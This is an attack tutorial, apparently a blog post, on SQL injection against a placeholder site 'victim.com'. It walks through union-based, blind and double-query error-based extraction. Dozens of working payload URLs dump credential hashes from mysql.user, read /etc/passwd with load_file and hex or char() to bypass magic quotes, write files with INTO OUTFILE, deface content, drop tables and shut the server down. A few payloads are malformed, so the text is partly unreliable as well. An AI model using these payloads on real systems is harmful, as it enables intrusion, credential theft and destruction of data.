sql injection

  • TOTAL SQL INJECTION 
    
    What is sql injection
    1.	What is sql injection
    	It is a mean of database exploitation through queries (sql commands) in order to read database tables contents, mainly, attack or gain unauthorized access to a system using the exploited database. A great number of modern websites suffers from this vulnerability, which can cause simple information leakage or total improvisation. So is severity is relative high. 
    
    
    2.	What causes this vulnerability? Improper sanitization of submitted info procedures.SQL injections based on poorly filtered strings are caused by user input that is not filtered for escape characters. This means that a user can input a variable that can be passed on as an SQL statement, resulting in database input manipulation by the end user. 
    Code that is vulnerable to this type of vulnerability might look something like this: 
    $pass = $_GET['pass'];
    $password = mysql_query("SELECT password FROM users WHERE password = '". $pass . "';");
    
    
    3.	Let suppose a webpage http://www.victim.com/index.php?id=1
    the first stage of attack includes finding the number of coloumns of database table. This can be done in the following way:
     http://www.victim.com/index.php?id=1 order by x where x=1,2,3 (1+) raising until   an error message is gotten. The x-1 number is the exact number of columns.
    Next follows finding the names of tables and coloumns of the table, as well as any other tables and columns using the information_schema.
    What is information schema? It is a major table existing in any PHP version database including information about:
    table names
    column names
    users database
    users privilege
    privileges
    database
    So to achieve this  two methods can be used the union+select  or the grouped by method:
    http://www.victim.com/index.php?id=-1+union+select+1,2,3--  (or union all select 1,2,3--)
    At this point  id=-1 and – are met. The first one is the null value(can be used also:null). The seconde one –means the end of the query, any text after that is just commenting. Also can be used # or /*. The previous means select names of 1,2,3 from any database, with out null value  just taken again the initial url. Also words in url can be connected with simple whitespaces,+ or %20, last is the hex character for space.
    The second method takes advantage of id:
    http://www.victim.com/index.php? Select 1,2,3 grouped by id=1--
    Each time on the page appears a number columns and any other new information possible to be related with columns_name, then that number should be substituted by the proper info.
    So in following steps it is possible reading the column_names.
    The following step includes involving information_schema tables
    http://www.victim.com/index.php?id=-1+union+select+1,2,3+from+information_schema.tables-- 
    
    http://www.victim.com/index.php?id=-1+union+select+1,concat(table_name),3,..,N+FROM+INFORMATION_SCHEMA.TABLES+limit+0,1-- 
    
    In the last query a new command is used, limit. With limit 0,1  the first table is returned. With limit 1,1 the second table is returned, with limit 14,1 the 15 table is returned, with limit 18,1 the 19 table is returned and so on. The procedure is repeated until getting an error. When error is gotten all tables are found.
    4. 	More info about database version, database and user can be gained by using the proper sql function into the queries. In MySQL version 5 and below it is possible to get MySQL root rights. These versions include a table named mysql.user containing hashes and usernames for logins, like in the following code
    http://www.victim.com/index.php?id=5 UNION ALL SELECT concat(username,0x3a,password),2 from mysql.user/* 
    Hashes are in mysqlsha1 format.
    
    To check what privileges a user has the following query can be used
    http://www.site.gr/index.php?id=-1+union+all+select+1,2,group_concat(user,0x3a,file_priv),4,5,6,7+from+mysql.user-- 
    the result are in format Username:Privileges
    When Y appears there are relative privileges, where N appears not.
    
    http://www.victim.com/index.php?id=-1+union+select+1,2,version()--
    http://www.victim.com/index.php?id=-1+union+select+1,2,@@version--
    http://www.victim.com/index.php?id=-1+union+select+1,2,user()--
    http://www.victim.com/index.php?id=-1+union+select+1,2,database()--
    
    Although these functions are not columns of database they are implemented in the query as one of the existing columns otherwise a message of improper columns number is returned. The functions are inserted in place of vulnerable field.
    
    Modifying database content:
    	After information is found about a database either with SQL injection or Blind SQL injection, described in later lines, it is possible to modify its content. Suppose the victim page
    
    http://www.victim.com/index.php?id=5
     and the query (with column names): select title, article, author from data where id=5 (found by injection)
    So table name can be change: 
    http://www.victim.com/index.php?id=5 UPDATE table_name SET title='hacked',article='hacked',author='somebody'-- 
    thus changing title,article and author.
    
    Or it is possible to delete one or more columns:
    http://www.victim.com/index.php?id=5 DELETE title,article,author from data--
    or
    http://www.victim.com/index.php?id=5 DELETE title,article,author FROM data where id=5--
    for id=5 etc.
    
    http://www.victim.com/index.php?id=5 DROP  TABLE data-- this last query completely deletes one table. In the previous queries it was possible to delete any number of columns.
    
    
    Putting MySQL server offline:  the command  SHUTDOWN WITH NOWAIT  is used, for example  take the following query:
    http://www.victim.com/index.php?id=5 SHUTDOWN WITH NOWAIT; 
    
    LOAD_FILE
    it permits viewing the contents of a given file. As seen in the following query, function load_file() replaces vulnerable parameter as well as it is given with full working directory.
    
    http://www.site.gr/index.php?id=-1+union+all+select+1,2,load_file('/etc/passwd'),4,5,6,7+from+mysql.user-- 
    
    If this query returns an error that means thata magic quete filetering is used as  countermeasure, with the server inserting backslashes before and after quotes. Iot bypass magic quote filtering  the file (directory) should be written in hexademical format or  each character should be replaced with its ASCII value, all values seperated with commas (,) when using char() function. When using hexademical formatting, that is specified in the query by inserting 0x just before the hexademical values, without any empty space before and after the hexademical values. For example  the previous query using hex and char is written in the following ways:
    For hexademical formatting: http://www.site.gr/index.php?id=-1+union+all+select+1,2,load_file(0x2f6574632f706173737764),4,5,6,7+from+mysql.user-- 
    
    For char() method: http://www.site.gr/index.php?id=-1+union+all+select+1,2,load_file(char(47,101,116,99,47,112,97,115,115,119,100)),4,5,6,7+from+mysql.user--
    
    INTO OUTFILE
    With this command it is possible to write a file into a given directory with a specific text. In the following example the file test. When using this method as above and more than one fields are vulnerable (columns), then the last is replaced with the query, the other replaced with null. When return or enter keys are used in text, it is written and trasposed into char or hex. If magic quote filtering is used, then the text, just the text is converted to hex. The directory, file should be written with precision inside ' '. In the following example the query creates a file test.txt in directory home/site/www/ with the text “testing” (http://www.site.gr/test.txt). A possible exploitation of this method is creating a vulnerable file inside a server and later attacking it with RFI.
    http://www.site.gr/index.php?id=-1+union+all+select+1,2,"testing",4,5,6,7+INTO+OUTFILE+'/home/site/www/test.txt'-- 
    
    
    
    
    
    Blind SQL injection
    	in this method conclusions are based on difference between valid and invalid query results after our valid or invalid inputs. Because unlike simple sql injection we dont receive any direct info on page this type of injection is called blind.
    Supposed the page
    http://www.victim.com/index.php?id=1
    
    We try injecting the following statements
    http://www.victim.com/index.php?id=1 and 1=1
    http://www.victim.com/index.php?id=1 and 1=2
    
    The first request always results true returning the initial page. But on the second request, and incase there is not any proper defensive filter, we get a false result, differing from the result of the previous request.
    Using blind sql injection method we need much more time than simple sql injection as we send to server  multiple request we regain only one character each time. For example we suppose that the database name is ggg, so the first char of database name is 'g'. We use the following queries to find the database name based on true of false statements:
    
    http://www.victim.com/index.php?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>97 --> true
    
    http://www.victim.com/index.php?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>110 --> false
    
    http://www.victim.com/index.php?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>105 --> false
    
    http://www.victim.com/index.php?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>100  --> true
    
    At this point the query result is valid and the ASCII value of the first character of  database name is between 100 and 105.
    
    So we can try the following code:
    
    http://www.victim.com/index.php?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>103--  false
    
    http://www.victim.com/index.php?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>102-- true
    
    Because the char value is greater of 102 but less than 104 we conclude to value 103.
    
    And we confirm that by using the code
    
    http://www.victim.com/index.php?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)=103-- true
    
    So we have the first letter of the database name with ASCII value of 103, meaning it is g.
    To find the rest chars of database name we use the same procedure, changing the substring function parameter from 1,1 to 2,1 etc.
    
    Iot learn the table name we are going to use the above method receiving each letter, but changing before the used query.
    
    http://www.victim.com/index.php?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOWER(name) 
    FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 1 LOWER(name) FROM sysObjects WHERE xtYpe=0x55)) AS varchar(8000)),1,1)),0)>97 
    
    This query is used to define the first char of the first table of the current database.
    The second char wanted we use the following lines:
    http://www.victim.com/index.php?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOWER(name) 
    FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 1 LOWER(name) FROM sysObjects WHERE xtYpe=0x55)) AS varchar(8000)),2,1)),0)>97 
    
    Changing the substring function parameter from 1 to 2 iot to define the desirable char position in the table name. Wanted to define different position we just change the same parameter.
    
    To find the names of other tables we just change the second "SELECT TOP 1" to "SELECT TOP 2", "SELECT TOP 3" etc. For example
    
    http://www.victim.com/index.php?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOWER(name) 
    FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 2 LOWER(name) FROM sysObjects WHERE xtYpe=0x55) AS varchar(8000)),1,1)),0)=97 
    
    This request will define the first char of the second table name in the current database.
    
    
    After getting the table names we set a new target getting the columns names:
    
    http://www.victim.com/index.php?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT p.name FROM (SELECT (SELECT COUNT(i.colid)rid FROM syscolumns i WHERE(i.colid<=o.colid) AND id=(SELECT id FROM sysobjects WHERE name='tablename'))x,name FROM syscolumns o WHERE id=(SELECT id FROM sysobjects WHERE name='tablename')) as p WHERE(p.x=1))AS varchar(8000)),1,1)),0)>97 .
    Iot bypass the magic quote filtering we should change the 'tablename' using the command char().
    For example we transpose 'user' to char(117)+char(115)+char(101)+char(114), so the query 'where name='user' becomes where name=char(117)+char(115)+char(101)+char(114) 
    
    The result of the previous request is the first letter of the name of the first column of the current table. Finding other chars we simply change the parameter of the substring function.
    
    http://www.victim.com/index.php?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT p.name FROM (SELECT (SELECT COUNT(i.colid)rid FROM syscolumns i WHERE(i.colid<=o.colid) AND id=(SELECT id FROM sysobjects WHERE name='tablename'))x,name FROM syscolumns o WHERE id=(SELECT id FROM sysobjects WHERE name='tablename')) as p WHERE(p.x=1))AS varchar(8000)),2,1)),0)>97 
    
    The previous code gives the second char of the first column of the current table.
    
    http://www.victim.com/index.php?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT p.name FROM (SELECT (SELECT COUNT(i.colid)rid FROM syscolumns i WHERE(i.colid<=o.colid) AND id=(SELECT id FROM sysobjects WHERE name='tablename'))x,name FROM syscolumns o WHERE id=(SELECT id FROM sysobjects WHERE name='tablename')) as p WHERE(p.x=2))AS varchar(8000)),1,1)),0)>97 
    
    This last code gives the first char of the second column of the current table.
    
    To get database version with blind sql injection we use the substring command:
    http://www.victim.com/index.php?id=5 and substring(@@version,1,1)=4 
    if this query returns true then the version is No 4.
    one other issue is subselect checking. If select doesnt function, then we use the use the subselect command. 
    http://www.victim.com/index.php?id=5 and (select 1)=1 
    if this returns the proper page (load) then the subselect command works just fine.
    
    Mysql.user access check
    http://www.victim.com/index.php?id=5 and (select 1 from mysql.user limit 0,1)=1 
    if the webpage is loading properly then we have access to mysql.user and it is possible to use LOAD_FILE() and OUTFILE() to retrieve  information.
    
    Username size check
    Using the following query:
    http://www.victim.com/index.php?id=5+and+length(user())>10-- returns true
    
    http://www.victim.com/index.php?id=5+and+length(user())>15-- returns true
    
    http://www.victim.com/index.php?id=5+and+length(user())>25--returns false
    
    http://www.victim.com/index.php?id=5+and+length(user())>21--returns false
    
    http://www.victim.com/index.php?id=5+and+length(user())>19--returns true
    
    http://www.victim.com/index.php?id=5+and+length(user())=20--  returns true so the answer is got and the length of the current user is 20.
    To find the name of user use the following method:
    http://www.victim.com/index.php?id=5/**/and/**/ascii(substring(user(),1,1))>97-- 
    returns False
    http://www.victim.com/index.php?id=5/**/and/**/ascii(substring(user(),1,1))=97--  returning true meaning that the first letter is 'a'.
    Searching for the second name is done simply by changing the numerical parameters of the query:
    http://www.victim.com/index.php?id=5/**/and/**/ascii(substring(user(),2,1))>97-- Returns true
    
    http://www.victim.com/index.php?id=5/**/and/**/ascii(substring(user(),2,1))>105-- returns true
    
    http://www.victim.com/index.php?id=5/**/and/**/ascii(substring(user(),2,1))>114--returns true
    
    http://www.victim.com/index.php?id=5/**/and/**/ascii(substring(user(),2,1))>116-- Returns false
    
    http://www.victim.com/index.php?id=5/**/and/**/ascii(substring(user(), 2,1))=115--  returns true meaning that the second letter is 's'. 
    Searching for the next letters we make comparison resulting true, false finding each letter:
    http://www.victim.com/index.php?id=5/**/and/**/ascii(substring(user(), 3,1))=any ascii-- 
    
    
    http://www.victim.com/index.php?id=5/**/and/**/ascii(substring(user(), 4,1))=any ascii--
    
    
    http://www.victim.com/index.php?id=5/**/and/**/ascii(substring(user(), 5,1))=any ascii--
    
    
    http://www.victim.com/index.php?id=5/**/and/**/ascii(substring(user(), 6,1))=any ascii--
    
    and so on.
    The user must be in the form  'someone@localhost.com'.
    
    
    
    The procedure is repeated for the username length found earlier. Finding the username lenght saves time, by not continueing queries when already have necessary information.
    
    INFORMATION_SCHEMA
    Finding table_names inside information_schema.tables. As in the following example. It is clear that the same procedure as in name finding is used.
    http://www.victim.com/index.php?id=5/**/and/**/ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>50 
    
    for the second table the limit parameter 0,1 changes to 1,1, 2,1 for the third and so on repeating the exact procedure, presented above.
    
    Checking columns names:
    http://www.victim.com/index.php?id=5/**/and/**/(SELECT substring(concat(1,user),1,1) from   table_1 0,1)=1--  returns false
    
    http://www.victim.com/index.php?id=5/**/and/**/(SELECT substring(concat(1,id),1,1) from table_1 limit 0,1)=1 --  returns true
    
    http://www.victim.com/index.php?id=5/**/and/**/(SELECT substring(concat(1,name),1,1) from  table_1 limit 0,1)=1--  returns false
    
    http://www.victim.com/index.php?id=5/**/and/**/(SELECT substring(concat(1,users),1,1) from  table_1  limit 0,1)=1-- returns true
    meaning that columns users and id exist, while name and user not.
    Retrieve data from columns
    The final stage (and the most important obviously) is gaining information from the tables.
    For one more time the same procedure is used.
    http://www.victim.com/index.php?id=5/**/and ascii(substring((SELECT concat(name,password) from table_1 where id=1),1,1))>100-- returns false
    
    http://www.victim.com/index.php?id=5/**/and ascii(substring((SELECT concat(name,password) from table_1 where id=1),1,1))>90--  returns false
    
     http://www.victim.com/index.php?id=5/**/and ascii(substring((SELECT concat(name,password) from table_1 where id=1),1,1))=65-- Returns true. So the first letter gotten is 'A'
    
    http://www.victim.com/index.php?id=5/**/and ascii(substring((SELECT concat(name,password) from table_1 where id=1),2,1))=100--  returns true, the second letter is 'd'
    
    http://www.victim.com/index.php?id=5/**/and ascii(substring((SELECT concat(name,password) from table_1 where id=1),3,1))=109 returns true, the third letter is 'm'
    
    And So On
    
    
    
    Double Query Error Based SQL Injection 
    Double query error based sql injection as declared uses two simultaneous requests iot confuse the server. In double query there is not group_concat() command. So the method limit must be used in combination with method concat iot getting  results. It is stealthier than blind sql and it can bring results even if it doesnt appear for a server to be vulnerable to sql injection.  So after trying traditional sql injection vulnerability testing without any result this code can be used:
    http://www.site.gr/index.php?id=1 and(select 1 from(select count(*),concat((select (select concat(database())) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) 
    
    the server might give an answer duplicate entry '~'***'~1' for key 1 If the previous code is objerved two different queries to information_schema.tables will be noticed.  To check whether other databases exist the following code is used:
    http://www.site.gr/index.php?id=1+and(select 1 from(select count(*),concat((select (select (select distinct concat(schema_name) FROM information_schema.schemata LIMIT 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) .

Comments

0 comments